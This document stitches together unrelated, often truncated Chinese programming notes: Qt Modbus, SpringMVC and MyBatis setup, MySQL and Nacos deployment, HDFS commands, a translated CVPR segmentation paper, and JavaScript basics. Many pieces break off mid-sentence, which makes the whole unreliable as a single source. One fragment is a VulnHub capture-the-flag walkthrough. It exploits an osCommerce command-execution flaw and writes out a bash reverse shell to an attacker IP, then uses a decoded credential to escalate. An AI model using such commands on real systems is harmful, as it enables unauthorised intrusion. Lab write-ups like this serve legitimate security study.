data: { lastTapTime:0, }, doubleClick: function (e) { var curTime = e.timeStamp var lastTime = e.currentTarget.dataset.time // 通过e.currentTarget.dataset.time 访问到绑定到button组件的自定义数据 console.log("上一次点击时间:"+lastTime) console.log("这一次点击时间:" + curTime) console.log('--------------------------------'); if (curTime - lastTime > 0) { if (curTime - lastTime < 300) {//判断为双击事件 console.log("您双击了,用了:" + (curTime - lastTime)) } } this.setData({ lastTapTime: curTime }) }, 长按事件:bindlongpress、bindlongtap 长按事件是指 触摸超过350ms再离开
proxy error问题是因为端口号被占。前端出现了500问题,可能说明后端服务器有问题,那么就去检查后端的端口号是否和前端一致。(找联调的后端问一下)
目前在使用Qt的modbus模块做项目,在使用过程中发现有一些这样那样的问题或者知识点。下面做一些总结,或者说列举。看情况会持续增加:
1.QModbusRtuSerialMaster 在运行一段时间后会出现无法收发数据的情况,只有disconnectDevice()重新connectDevice()才可以。而且也没留个flush接口,所以挺无语的。。
----20211126,突然发现QSerialPort有个errorOccurred的信号,可能对于解决这个问题有效(至少可以用这个来检查设备的拔插)
connect(mSerialPort, &QSerialPort::errorOccurred, [=](QSerialPort::SerialPortError error){ qDebug() << "error:" << error; if(error != QSerialPort::NoError) { closePort(); } }); ----20220914,目前项目上又用到了这个。本质上还是没找到解决的办法,目前用了个偏方:定时检查。比如说目前我设置轮询modbus从机的周期为500ms,那么正常情况下,大约1000ms内一定会收到读取回来的信号QModbusReply::finished。
因此,可以设置一个定时器,比如说设置超时时间为2000ms(具体时间要根据从机数量、波特率灵活设置),一旦超时,就对串口进行断开、连接处理。然后此计时器在接收到QModbusReply::finished时,重新计时。
如此,一旦 串口阻塞–》定时器没有重新计时–》定时器超时–》串口重启
2.关于超时以及重试次数的问题,
mMaster->setTimeout(200);
mMaster->setNumberOfRetries(1);
上面这两个函数就是设置超时和重试次数的,那么这两个参数的作用是什么呢?假设超时时间为m,重试次数为n,那么假如通讯完全失败的话,在你执行读取函数后的 m*(n + 1) 毫秒后,你会从reply那里收到一个超时错误返回。比如我上面就是 200 * (1 + 1) = 400 毫秒后收到一个超时错误。
别人做的关于modbus的一些总结
https://www.cnblogs.com/ioufev/articles/10830028.html
3.关于Modbus TCP的问题
在使用modbus tcp时,一个client貌似每次只能连接一个IP(一个设备),然后通过slaveID来读写寄存器。但是,假如我是连接到了一个局域网里面,这个局域网里面有好多slave等待我去读写,基本确定是通过轮询的方式去读写他们,那,我只能通过不断地连接、断开、连接断开各个IP,然后读写他们?这样(不断建立、断开TCP/IP连接)不会很耗时吗?
在RS485/422网络中,直接通过指定不同的slaveID就可以访问不同的设备寄存器了。
到底通过Modbus tcp轮询设备的正确方式是怎样的?
同时装了office2010和office2007 ,卸载office2007提示以下信息
安装无法继续,因为一个必需文件已损坏或不可用,请从原始源光盘活下载位置重新运行安装程序
解决1:
http://support.microsoft.com/kb/290301#FixItForMe Windows 安装程序清理实用程序 (MSICUU2.exe) 已不再由Microsoft提供。 解决2:
http://pan.baidu.com/s/1miCo3vq 下载安装 密码:dyrd
背景 公司的服务器越来越多, 维护一些简单的事情都会变得很繁琐。用shell脚本来管理少量服务器效率还行, 服务器多了之后, shell脚本无法实现高效率运维。这种情况下,我们需要引入**自动化运维**工具, 对多台服务器实现高效运维。
需求 通过管理服务器能够按照需求灵活高效地管理所有应用服务器的运维操作
自动化运维 **问题:** 假设我要去1000台服务上做一个操作(如nginx服务器修改配置文件里的某一个参数), 下面两种方法缺点明显:
1. 按传统的方法, 一台连着一台服务器的ssh上去手动操作。 缺点: * 效率太低。
2. 写个shell脚本来做。
缺点: * 管理的机器平台不一致,脚本可能不具备通用性。
* 传密码麻烦(在非免密登录的环境下, 需要expect来传密码)
* 效率较低,循环1000次也需要一个一个的完成,如果用`&`符放到后台执行,则会产生1000个进程。 自动化运维: 将日常IT运维中大量的重复性工作,小到简单的日常检查、配置变更和软件安装,大到整个变更流程的组织调度,由过去的手工执行转为自动化操作,从而减少乃至消除运维中的延迟,实现“零延时”的IT运维。
自动化运维主要关注的方面 管理机与被管理机的连接(管理机如何将管理指令发送给被管理机)服务器信息收集 (如果被管理的服务器有centos7.5外还有其它linux发行版,如suse,ubuntu等。当你要做的事情在不同OS上有所不同,你需要收集信息,并将其分开处理)服务器分组(因为有些时候我要做的事情不是针对所有服务器,可能只针对某一个分组) 管理内容的主要分类 文件目录管理(包括文件的创建,删除,修改,查看状态,远程拷贝等)用户和组管理cron时间任务管理 yum源配置与通过yum管理软件包服务管理远程执行脚本远程执行命令
SpringMVC+Thymeleaf 准备工作步骤 1、构建工程 2、添加maven依赖 <dependencies> <!-- SpringMVC --> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-webmvc</artifactId> <version>5.3.1</version> </dependency> <!-- 日志 --> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.2.3</version> </dependency> <!-- ServletAPI --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> <version>3.1.0</version> <scope>provided</scope> </dependency> <!-- Spring5和Thymeleaf整合包 --> <dependency> <groupId>org.thymeleaf</groupId> <artifactId>thymeleaf-spring5</artifactId> <version>3.0.12.RELEASE</version> </dependency> </dependencies> 3、添加web模块 ①将pom.xml的打包方式设置为war包
②然后在整个项目的Moduldes配置web.xml路径如下图
③配置web.xml文件:注册SpringMVC的前端控制器DispatcherServlet
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <!-- 配置SpringMVC的前端控制器,对浏览器发送的请求统一进行处理 --> <servlet> <servlet-name>springMVC</servlet-name> <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> <!-- 通过初始化参数指定SpringMVC配置文件的位置和名称 --> <init-param> <!-- contextConfigLocation为固定值 --> <param-name>contextConfigLocation</param-name> <!-- 使用classpath:表示从类路径查找配置文件,例如maven工程中的 src/main/resources --> <param-value>classpath:springMVC.
在vue2项目下在config的index.js文件修改如下
所需的maven依赖 <dependencies> <!-- Mybatis核心 --> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.7</version> </dependency> <!-- junit测试 --> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> <!-- MySQL驱动 --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.16</version> </dependency> <!-- lombok,自己生成实体类的getter和setter以及toString等方法 --> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <optional>true</optional> </dependency> </dependencies> 模糊查询的三种实现方式 MybatisSQL语句一
此写法是错误的,此写法会报如下的错误,原因是"%#{mohu}%"中的“#”号会被mybatis解析为占位符“?”从而导致SQL语句出错,编译后的SQL语句变成了
select * from t_user where username like "%?%" 这与预期的结果不一致,自然就会报如下的错误,该写法要特别注意%和#的位置
<!--错误的写法--> <select id="getUserByLike" resultType="User"> select * from t_user where username like "%#{mohu}%" </select> 方式一正确的写法
<select id="getUserByLike" resultType="User"> select * from t_user where username like "
自定义映射 设计表示要特别注意表与表之间的关系,表与表之间的关系有:一对一、一对多、多对多
若时多对一的关系时要将关联的字段放在多的一方。
例如员工与本门的关系时多对一的关系,这时就应该把关联的字段放在员工表上
员工表
CREATE TABLE `t_emp` ( `emp_id` int NOT NULL AUTO_INCREMENT COMMENT '员工id', `emp_name` varchar(20) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL COMMENT '员工姓名', `age` int DEFAULT NULL COMMENT '员工年龄', `gender` bigint DEFAULT NULL COMMENT '员工性别', `email` varchar(50) CHARACTER SET utf8 COLLATE utf8_general_ci DEFAULT NULL COMMENT '员工邮箱', `dept_id` int DEFAULT NULL COMMENT '部门id', PRIMARY KEY (`emp_id`) ) ENGINE=InnoDB AUTO_INCREMENT=36 DEFAULT CHARSET=utf8mb3; 部门表
CREATE TABLE `t_dept` ( `dept_id` int NOT NULL COMMENT '部门id', `dept_name` varchar(255) COLLATE utf8mb4_general_ci DEFAULT NULL COMMENT '部门名称', PRIMARY KEY (`dept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; 员工表的实体类
关键字:try、catch、throw 程序运行时常会碰到一些异常情况,例如:
- 做除法的时候除数为 0;
- 用户输入年龄时输入了一个负数;
- 用 new 运算符动态分配空间时,空间不够导致无法分配;
- 访问数组元素时,下标越界; - 打开文件读取时,文件不存在 这些异常情况,如果不能发现并加以处理,很可能会导致程序崩溃.
所谓"处理":
1.可以是给出错误提示信息,然后让程序沿一条不会出错的路径继续执行;
2.也可能是不得不结束程序,但在结束前做一些必要的工作,如将内存中的数据写入文件,关闭打开的文件,释放动态分配的内存空间等
#include <iostream> #include <vector> using namespace std; int main() { int n1 = 12; int n2 = 0; int n3 = 9; //n3 = n1/n2; vector<int> v1; v1.push_back(4); v1.push_back(6); try { v1.at(1); } catch(out_of_range) //常用标准异常 { cout << "访问越界" << endl; cout << "range: " << "0" << "~" << v1.
近年来获得的成功可以分为三种:登录成功、下载成功、付款成功
官方链接 名称版本地址Nacos官网2.1.1https://nacos.io/zh-cn/ 部署步骤 0. 准备环境 创建虚拟机安装docker安装docker-composeMysql数据库 自行百度,不再赘述
1. 创建 Nacos 数据库 初始化mysql数据库,数据库初始化文件:nacos-mysql.sql
该sql文件存在nacos安装包中,从安装包中找
2. docker 拉取 nacos镜像 docker pull nacos/nacos-server:v2.1.1 3. 创建目录 nacos-docker -- nacos集群的相关文件 ├── docker-compose.yml -- docker-compose 配置文件 ├── master -- nacos节点的相关文件 ├── application.properties -- naocs节点挂载的配置文件 ├── logs -- nacos 节点挂载的日志文件夹 ├── slave1 -- nacos节点的相关文件 ├── application.properties -- naocs节点挂载的配置文件 ├── logs -- nacos 节点挂载的日志文件夹 ├── slave2 -- nacos节点的相关文件 ├── application.properties -- naocs节点挂载的配置文件 ├── logs -- nacos 节点挂载的日志文件夹 4.
文章目录 前言一、下载mysql安装包二、准备安装1.上传安装包至虚拟机2.解压安装包 三、开始安装1.创建mysql用户组2.创建相关目录3./etc下创建mysql启动配置文件 my.conf4.初始化mysql5.修改启动脚本6.添加mysql服务7.启动mysql服务8.配置mysql环境变量9.测试连接mysql10.修改密码11.设置远程连接12.使用Navicat测试连接 总结 前言 最好有 Xshell 和 Xftp 方便操作虚拟机!
CentOS7离线安装mysql数据库!
一、下载mysql安装包 下载地址:mysql下载
二、准备安装 1.上传安装包至虚拟机 cmd窗口上传:
命令规则:scp mysql安装包物理机路径 root@虚拟机ip:虚拟机上传路径
scp D:\alinux\mysql-5.7.21-linux-glibc2.12-x86_64.tar.gz root@192.168.0.128:/usr/local/soft/ 案例:
2.解压安装包 本文案例上传目录为:/usr/local/soft
// 进入上传目录 [root@localhost /]# cd /usr/local/soft/ // 解压mysql安装包 命令规则:# tar -zxvf 【安装包名称】 [root@localhost soft]# tar -zxvf mysql-5.7.21-linux-glibc2.12-x86_64.tar.gz // 重命名为mysql 命令规则:# mv【安装包名称】mysql [root@localhost soft]# mv mysql-5.7.21-linux-glibc2.12-x86_64 mysql 三、开始安装 1.创建mysql用户组 // 添加mysql用户组 [root@localhost mysql]# groupadd mysql // 添加mysql用户并加入用户组 [root@localhost mysql]# useradd -r -g mysql mysql 2.
有时候,我们只知道数据值,但需要通过这个数据值去查找数据是存放在哪个表的哪个字段。
DECLARE
V_SQL VARCHAR2(2000);
V_COUNT NUMBER;
BEGIN
FOR I IN (SELECT TABLE_NAME, COLUMN_NAME
FROM ALL_TAB_COLUMNS
WHERE OWNER = ‘USRMSI’) LOOP
BEGIN
V_SQL := ‘SELECT COUNT(1) FROM USRMSI.’ || I.TABLE_NAME || ’ WHERE ’ ||
I.COLUMN_NAME || ’ LIKE ‘’%172.17.0.92%‘’ ‘;
EXECUTE IMMEDIATE V_SQL
INTO V_COUNT;
IF (V_COUNT >= 1) THEN
DBMS_OUTPUT.PUT_LINE(‘SELECT USRMSI.’ || I.COLUMN_NAME || ’ FROM ’ ||
I.TABLE_NAME || ’ WHERE ’ || I.COLUMN_NAME ||
’ LIKE ‘’%172.
IDEA中Git操作:将一个分支上的修改转移到另一个分支上 未commit时 1.Git->Uncommitted Changes->Stash Changes 2.点击Create Stash 3.切换到目标分支 4.Git->Uncommitted Changes->Unstash Changes
5.Apply Stash即可
环境搭建: Funbox: Under Construction! ~ VulnHub
漏洞复现: 探测靶机的IP地址
nmap进行探测靶机的服务和端口
访问80端口
dirb扫描目录,发现catalog目录
访问一下,发现是个oscommerce的网站
查看版本的漏洞,发现命令执行漏洞 查看该文件,如果执行成功,会返回当前目录的文件
修改为靶机的IP
运行脚本
访问文件,得到回显
修改命令
bash -c "exec bash -i &>/dev/tcp/192.168.226.128/1111 <&1" 查看全局变量,查看执行文件都没发现可以利用 下载pspy64s
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
kali开启python服务,靶机进行下载
修改权限,进行执行
发现会执行一个脚本文件
发现一个base64语句
进行解密,发现账号密码
切换用户登录,要升级shell模式,不然不可以切换用户
查看目录下的flag
设计模式 前言第一章、设计模式七大原则1、单一职责原则1.1、基本介绍1.2、代码分析1.3、单一职责原则注意事项和细节 2、接口隔离原则2.1、基本介绍2.2、代码分析 3、依赖倒转原则3.1、基本介绍3.2、代码分析3.3、依赖关系传递的三种方式和应用案例3.4、依赖倒转原则的注意事项和细节 4、里氏替换原则4.1、基本介绍4.2、问题及思考4.3、解决方案 5、开闭原则5.1、基本介绍5.2、代码分析 6、迪米特法则6.1、基本介绍6.2、应用实例6.3、应用实例改进6.4、迪米特法则注意事项和细节 7、合成复用原则7.1、基本介绍7.2、代码分析7.3、合成复用原则的实现方法 第二章、23种设计模式1.设计模式——代理模式1.1.代理模式的基本介绍1.2.静态代理1.3.动态代理1.4.Cglib代理 2.命令模式2.1.智能生活项目需求2.2.命令模式基本介绍2.3.命令模式的原理类图2.4.代码示例2.5.代码解释说明2.6.命令模式的注意事项和细节 3.章职责链模式3.1.基本介绍3.2.职责链模式的原理类图3.3.职责链模式解决 OA 系统采购审批3.4.职责链模式的注意事项和细节 前言 1、设计模式得诞生
软件工程中,设计模式(design pattern)是对软件设计中普遍存在(反复出现)的各种问题,所提出的解决方案。这个术语是由埃里希·伽玛(Erich Gamma)等人在 1990 年代从建筑设计领域引入到计算机科学的。
2、设计模式好处
大厦 VS 简易房拿实际工作经历来说, 当一个项目开发完后,如果客户提出增新功能,怎么办?。(可扩展性,使用设计模式,软件具有很好的扩展性)如果项目开发完后,原来程序员离职,你接手维护该项目怎么办? (维护性[可读性、规范性])目前程序员门槛越来越高,一线 IT 公司(大厂),都会问你在实际项目中使用过什么设计模式,怎样使用的,解决了什么问题。如果想成为合格软件工程师,那就花时间来研究下设计模式是非常必要的 第一章、设计模式七大原则 七大原则包括:
1、单一职责原则
2、接口隔离原则
3、依赖倒转(倒置)原则
4、里氏替换原则
5、开闭原则
6、迪米特法则
7、合成复用原则
1、单一职责原则 1.1、基本介绍 对类来说的,即一个类应该只负责一项职责。如类 A 负责两个不同职责:职责 1,职责 2。当职责 1 需求变更而改变 A 时,可能造成职责 2 执行错误,所以需要将类 A 的粒度分解为 A1,A2
1.2、代码分析 方案一
package com.tang.designpattern.principle.singleresponsibility; import com.tang.designpattern.domain.pojo.Vehicle; /** * @author Dream * @date 2022/4/12 14:26 * 方案一分析: * 1、在方式 1 的 run 方法中,违反了单一职责原则 * 2、解决的方案非常的简单,根据交通工具运行方法不同,分解成不同类即可 */ public class SingleResponsibility1 { public static void main(String[] args) { Vehicle vehicle = new Vehicle(); vehicle.
实验
1.在HDFS的/上创建10目录(data01~data10)
在浏览器上查看:
2.在HDFS/data03下递归创建/data05/data06/data07
递归创建,使用命令:
hdfs fs -mkdir -p /xx1/xx2/xx3
如:hdfs dfs -mkdir -p /dt03/date05/date06/date07
3.在/home/hadoop/software/自己名字命名目录下创建5分有数据的文件(mydata01-mydata05)文件内容自定义。
4.把mydata01上传到HDFS的/data01,把mydata02上传到HDFS的/data02,以此类推,把5份文件都上传到大数据平台的HDFS上。
上传使用put,如:hdfs dfs -put mydata01 /dt01
查看上传的数据里的数据:
hdfs dfs -cat /dt05/mydata05
(附加部分)
把数据取出来:hdfs dfs -get /dt01/data
查看数据内容:
将文件取下至zhang这个目录下:
hdfs dfs -get /dt01/data /root/zhang/ (注意中间有空格 )
5.把大数据平台HDFSI/data02/mydata02文件下载到/home/hadoop
查看到的文件内容如下:
将文件取下至/home/hadoop下:
在/home/hadoop下查看:
CVPR2022:Generalizable Cross-modality Medical Image Segmentation via StyleAugmentation and Dual Normalization基于样式增强和双重归一化的通用跨模态医学图像分割 0.摘要1.概述2.方法2.1.定义和概述2.2.风格增强模块2.3.双归一化基础网络2.4.基于风格的路径选择2.5.训练细节 参考文献 论文下载
开源代码
0.摘要 对于医学图像分割,想象一下,如果只在源域使用MR图像训练模型,在目标域直接分割CT图像的性能如何?这种设置,即广义交叉模式分割,具有临床潜力,比其他相关设置,如领域适应更具挑战性。为了实现这一目标,我们在本文中提出了一种新的双归一化模型,在我们的广义分割过程中利用增强的源相似图像和源不同图像。具体来说,在给定单个源域的情况下,为了模拟在不可见的目标域中可能出现的外观变化,我们首先利用非线性变换来增强源相似图像和源不同图像。然后,为了充分利用这两种类型的增强,我们提出的基于双归一化的模型使用一个共享的骨干但独立的批归一化层进行单独的归一化。然后,我们提出了一种基于样式的选择方案来自动选择测试阶段的合适路径。在三个公开可用的数据集上的广泛实验,即BraTS、跨模态心脏和腹部多器官数据集,已经证明我们的方法优于其他最先进的领域一般化方法。
1.概述 近年来,深度卷积神经网络在医学图像分割方面取得了深刻的进展[22,30,35]。得益于这些最近的努力,医学图像分割的准确性得到了很大的提高。尽管它们取得了成功,但训练(或标记)和测试(或未标记)数据之间的分布转移通常会导致经过训练的分割模型-els部署期间严重的性能退化。分配转移的原因通常来自不同方面,例如:,不同的采集参数,不同的成像方法或不同的模式。
为了对抗领域转移,人们研究了几种实用的设置,其中基于UDA(无监督域适应)的分割[6,14,44]是最受欢迎的。具体而言,在UDA设置中,通过假设可以观察到测试数据或未标记数据,首先在标记的源域(即训练集)和未标记的目标域(即测试集)上训练模型,减小它们的域间隙。然后,利用训练好的模型将图像与目标域进行分割。然而,这些基于UDA的模型要求目标域可以被观察,甚至被允许接受训练。这种前提条件在实际应用中有时难以满足或不可行。例如,为了保护个人隐私信息,某些机构的目标域(或测试集)不能被直接访问
为了缓解UDA对目标区域的要求,我们考虑了一种更可行但更具有挑战性的设置,即领域泛化(DG,Domain Generation),以实现针对区域偏移的可泛化医学图像分割。我们没有注意到,大多数现有的DG模型仅仅在不同主频之间的小变化下,跨中心设置下表现良好,而大的域偏移(例如,跨模态)很少被研究,这可能会极大地降低它们的性能[25,26,40]。
图1。(a) BraTS数据集的示例切片;(b)我们的方法与“DeepAll”和“DoFE”方法在跨中心前列腺分割任务和跨模态脑肿瘤分割任务上的比较
我们现在展示两种可概括的细分场景(即跨中心和跨模态)来阐明我们的动机。具体地说,在图1b中,我们如何在两个不同的DG任务上实现我们的方法(称为“我们的”)、“DeepAll”基线和最先进的跨中心DG方法(“DoFE”)[40]的结果。第一个任务是跨中心前列腺分割任务[27]。正如图1b所示,所有这些方法在这个任务中都取得了相对较高的Dice分数(80%),而且不同方法之间的差距非常小。然而,当我们将这三种方法应用于BraTS数据集[29]时,跨模量脑肿瘤分割数据集,“DeepAll”和“DoFE”方法在Dice分数上显示了剧烈的下降(40%),而我们的方法仍然达到了竞争性的Dice分数(50%)。性能下降的原因在于大的域迁移。例如,在图1a中,我们展示了BraTSdataset[29]中的T2和t1加权图像。需要用红色曲线分割的脑肿瘤。很明显,T2和t1形态表现出明显不同的外观。因此,我们注意到跨通道分布式任务比跨中心分布式任务更具挑战性,因为前者需要处理更大的域转移。在本文中,我们的目标是处理具有大域转移的分布式分布式任务(如跨模态任务),而以往的分布式分布式任务方法都不是针对这一问题设计的。
我们的设置有其临床意义。例如,在成像过程中,由于一些不可预测的因素(如光源干扰)导致的较大分布偏移,对现有的概化方法提出了挑战。此外,在某些情况下,目标域的数据稀缺使得uda难以实现。总之,我们打算开发一种实现域分布位移不敏感建模的鲁棒方法。
基于上述动机,我们提出了一种通用的跨模态医学图像分割方法,训练于单个源域(如CT),并直接应用于不可见的目标域(如MRI),无需任何再训练。在医学图像中,形态差异通常表现为灰度分布差异。意识到这一事实,我们希望在不可见的目标域中模拟可能的外观变化。为了解决这个具有挑战性的跨模态分布式任务,我们引入了一个模块,可以随机地将源域扩展成不同的风格。具体来说,我们利用B́ezierCurves[31]作为变换函数,生成了两组图像:一组图像与s源域图像相似(即source-similar domain),另一组图像与源域图像分布差距较大(即source-dissimilar domain)。然后,我们引入了一个双归一化模块的分割模型来保存源-相似域-主要域和源-不同域的风格信息。最后,开发了一个基于样式的路径选择模块,帮助目标域图像选择最佳的归一化路径,以获得最佳的分割结果。本文的主要贡献总结如下:
我们提出了一个深度双归一化模型来解决更具挑战性的DG任务,即:,该算法可以直接将图像从不可见的目标区域中分割出来,而无需再训练。我们通过基于b́ezier曲线生成源相似和源不同的图像来增强源域的多样性,并开发了一个用于有效开发的双归一化网络。此外,我们在测试阶段提出了基于样式的路径选择方案。大量实验证明了我们的有效性。在OnBraTS数据集上,我们的方法在T2和T1CE源域上的Dice分别为54.44%和57.98%,这与作为我们的上界的UDA非常接近。在心脏和腹部多器官交叉模式数据集上,我们的方法优于最先进的DG方法。 2.方法 2.1.定义和概述 我们表示我们的单源域Ds={xsi,ysi}Nsi=1,其中s表示域ID,xsi源域中的第i个图像,ysi是xsi的分割掩膜, Ns为总样本数。我们的目的是在源域训练一个分割模型Sθ:x→y,其中x和y表示源域Ds中的图像集和标签集,Sθ表示分割模型,θ为模型参数。我们希望模型Sθ能很好地推广到不可见目标域Dt。
图2.我们方法的总体框架。我们首先使用样式增强模块将源域生成为不同的样式,并将它们划分为源相似域(Dss)和源不相似域(Dds)。然后,我们在(Dss)和(Dsd)上训练一个双重归一化(DN)分割网络。最后,我们通过基于样式的选择模块在目标域上测试训练的网络。
具体地说,我们首先提出了一个风格增强模块,该模块带有多个转换函数将源域扩展为源相似域和源不相似域。然后,基于一般的域Dss和Dsd,在我们的方法中引入了配备双归一化(DN)模块的网络。我们在域Dss和Dsd训练基于DN的模型。DN可以在模型训练后保留域样式信息。最后,根据DN中的域样式信息和目标域的实例样式信息,我们可以选择DN中最接近的归一化统计量来归一化目标域的特征,并获得最佳分割结果。我们的方法图如图2所示。我们现在讨论我们方法的技术细节。
2.2.风格增强模块 对于一般化的医学图像分割任务,使用单个源域来训练模型是非常困难的。不同模式之间的风格偏差会显著降低性能。从这个角度来看,我们提出一个简单而有效的样式增强模块,从源域生成不同的样式化图像
图1。(a) BraTS数据集的示例切片;(b)我们的方法与“DeepAll”和“DoFE”方法在跨中心前列腺分割任务和跨模态脑肿瘤分割任务上的比较
常用的医学图像模式(如X射线、CT和磁共振图像(MRI))通常是灰度图像。如图1所示,在T2加权MR脑图像中,整个肿瘤区域比周围亮得多。相反,在T1加权MR脑图像中,整个肿瘤的前景比背景区域暗。生成不同样式的简单方法是调整图像的灰度值分布。受先前工作模型Genesis[47]的启发,我们采用了几种单音非线性变换函数将原始图像的像素值映射到新值。因此,可以实现改变图像的灰度分布的操作。与[47]类似,我们使用平滑单调的B́ezier曲线[31]作为变换函数
B́ezier曲线可由两个端点(P0和P3)和两个控制点(P1和P2)生成。函数定义如下:
图3.T2加权增强MR脑图像和增强图像
其中t是沿直线长度的一个分数。所有B́ezier曲线的域和范围为:[−1,1]. 在图3中,我们展示了原始T2加权BraTS图像及其增强图像。我们设置P0=(−1.−1) 和P3=(1,1)得到一个递增函数,相反得到一个递减函数。当P0=P1和P2=P3时,B́ezier曲线是线性函数(如第2、5列所示)。然后,我们随机生成另外两对控制点。具体来说,我们设置P1=(−v、 v)和P2(v,−v)(v∈(0,1)). 我们随机为每个图像生成两个差分,因此我们通过反转得到两条增加曲线(如第3列和第4列所示)和两条减少曲线(如6列和第7列所示)。最后,我们得到了6个用于增强的非线性变换函数(三个增加和三个减少)。在我们的三个任务中,我们将每个样本标准化为[−1,1]. 应该注意的是,我们只对前景区域执行转换操作。
显然,在灰度医学图像中,单调递增变换函数对图像风格的影响较小。因此,我们将通过增加变换函数获得的这些变换图像分类为与源域图像相似的图像,我们称之为源相似域(Dss)。相反,由去增量变换函数生成的这些图像将被视为源异域(不相似)(Dsd)。我们假设灰度分布接近于源域图像的图像在通过Dss训练的模型上具有良好的泛化性能,而与源域具有较大分布间隙的其他图像可以在通过Dsd训练的模型上具有良好泛化性能。我们使用这两个域来训练下一节中介绍的基于DN的模型
2.3.双归一化基础网络 已经证明,批处理归一化[16]可以使神经网络很容易捕获其内部潜在空间[24]中的数据偏差。然而,基于BN的神经网络获取的数据偏差依赖于域的分布,这可能会降低在新域上测试的泛化能力。对于我们的样式增强图像,简单地采用BN会使模型失去Dss和Dsd的特定领域分布信息。因此,我们的模型可能不能很好地概括目标域。
为了捕获Dss和Dsd内不同的域分布信息,受之前工作[2]的启发,我们在一个模型中采用了两个不同的BN层来分别规范化Dss和Dsd的激活特性。我们称之为双重规范化(DN)。DN模块可以写成
其中,z表示来自域d的激活特征,d表示域标签,γd和βd是仿射参数,(μd,σd2)表示来自域d的输入特征z的均值和方差, ε>0是一个较小的常数值,以避免数值不稳定。
在训练过程中,BN层通过带更新因子α的指数移动平均来估计激活特征的均值和方差。对于DN,它们可以写成
其中t为当前训练迭代,μ-td和(σ-td2为域d在第t次迭代运算的估计均值和方差。每个域DN的估计均值和方差可以看作是域的分布信息。在对目标域进行测试时,这些域的分布信息(μd,σd2)可以与目标域的分布信息(μd,σt2)进行比较。从而选择合适的区域分布统计量对目标区域的激活特征进行归一化
2.4.基于风格的路径选择 DN模块允许模型学习Dss和Dsd的多源分布。因此,估计DN中的统计信息可以看作是Dss和Dsd的域样式信息。因此,我们得到了一个轻量级集成模型,其中除归一化统计外,每个领域共享相同的模型参数。
通过Dss和Dsd对带有DN模块的模型进行训练。训练结束后,DN模块将保留域d的统计量μ和σ2d,以及训练数据的仿射参数γ和βd。因此,我们将得到两组μ和σ2d,可以表示为
其中d表示Dss和Dsd的域标签,l∈{1,2,…,L}表示模型中的第l个BN层。这可以定义为为某个特定域d嵌入[36]的批处理规范化。在我们的工作中,我们把ed称为领域d的风格嵌入。
对于目标样本,我们可以通过前向传播捕获实例统计(μ,σ2d)。目标域样本的样式嵌入可以描述为
每个e1t表示向前传播过程中某一层目标域样本的实例样式统计。一旦目标域样本的实例样式嵌入可用,就有可能通过计算两个样本之间的距离来测量目标域样本的相似性
为了度量源域和目标域的风格嵌入之间的距离,我们采用了一个满足三角形不等式的对称距离函数。在我们的方法中,我们选择欧氏距离。第二层嵌入的距离可以写成
我们通过对所有层的风格嵌入elt和eld之间的距离求和来测量目标样本xt和源域之间的距离:
一旦计算到每个源域的距离,我们可以选择最近的源域风格嵌入和仿射参数γd和βd归一化目标域的输入特征:
对目标域特征的归一化表示为
由于我们的模型在Dss和Dsd共享除批归一化层外的所有参数,我们训练的模型可以通过方程(7)中的归一化特征预测目标域的结果。我们用Sθ(·)作为我们的分割模型,Sθ表示模型中除批归一化层外的参数。因此我们可以形成对目标域Sθ(zct)的预测结果,其中zct表示式(7)归一化的目标域特征。
2.5.训练细节 如前所述,DN模块在我们的模型中包含两个独立的批处理规范化层——一个是为Dss,另一个是为Dsd。首先,我们将源域通过样式扩充模块扩充为Dss和Dsd。然后,我们将它们输入到基于DN的模型中,以获得软预测。然后,利用分割损失对模型Sθ进行优化。为了克服相对较小的前景和较大的背景之间的类不平衡问题,我们使用Dss和Dsd的一组软Dice损失来训练分割网络:
问题: 红色箭头位置处,本应该有一个 选项功能,用来设置鼠标左右键等操作,但我这个版本找不到了。
解决办法: 点击左右侧上方下三角-标准按钮-选项,选中即可。
使用方式: 需要使用该功能时,点击齿轮图标即可。
这系列的帖子默认有Java基础,仅作为学习记录笔记,没有编程基础的小伙伴建议学一下先学一下Java
一、JS输出 JavaScript中不提供任何打印或者显示函数。
1.1 显示方案 1.1.1 window.alert() 弹窗显示:
<html> <body> <h2>DEMO</h2> <p id="demo"></p> <script> window.alert("a"); </script> </body> </html> 在使用alert()后,在打开的对应浏览器会根据函数弹窗提示内容,不同的浏览器弹窗样式不同,当然也可以自己封装一个弹窗,之后会单独开一篇详说。
1.1.2 document.write() 节点写入:
<html> <body> <h2>DEMO</h2> <p id="demo"></p> <script> document.write("a"); </script> </body> </html> 节点写入会直接写h5展示,可以使用节点控制做数据回显,在节点控制篇会详细说明。
<button onclick="document.write("b")">aaa</button> 同时也支持使用事件绑定函数动态修改节点内容
1.1.3 innerHTML() 节点编辑:
<html> <body> <h2>DEMO</h2> <p id="demo"></p> <script> document.getElementById("demo").innerHTML = "b"; </script> </body> </html> innerHTML()与document.write()类似都是节点控制一类,同时innerHTML也可以获取节点样式一类的属性。
1.1.4 console.log() 控制台打印:
<html> <body> <h2>DEMO</h2> <p id="demo"></p> <script> console.log("aaa") </script> </body> </html> 与java中的System.out.print()类似,用于将内容输出在浏览器控制台,属于前端常用的debug手段之一。
二、JS语句 2.1 JavaScript程序 计算机程序是由计算机“执行”的一系列“指令”。在编程语言中,这些程序指令被称为语句。JavaScript程序就是一系列的编程语句。在HTML中由web浏览器执行。
–webkit优化 只有在 --webkit浏览器下有效果,如谷歌
主要有下面7个属性
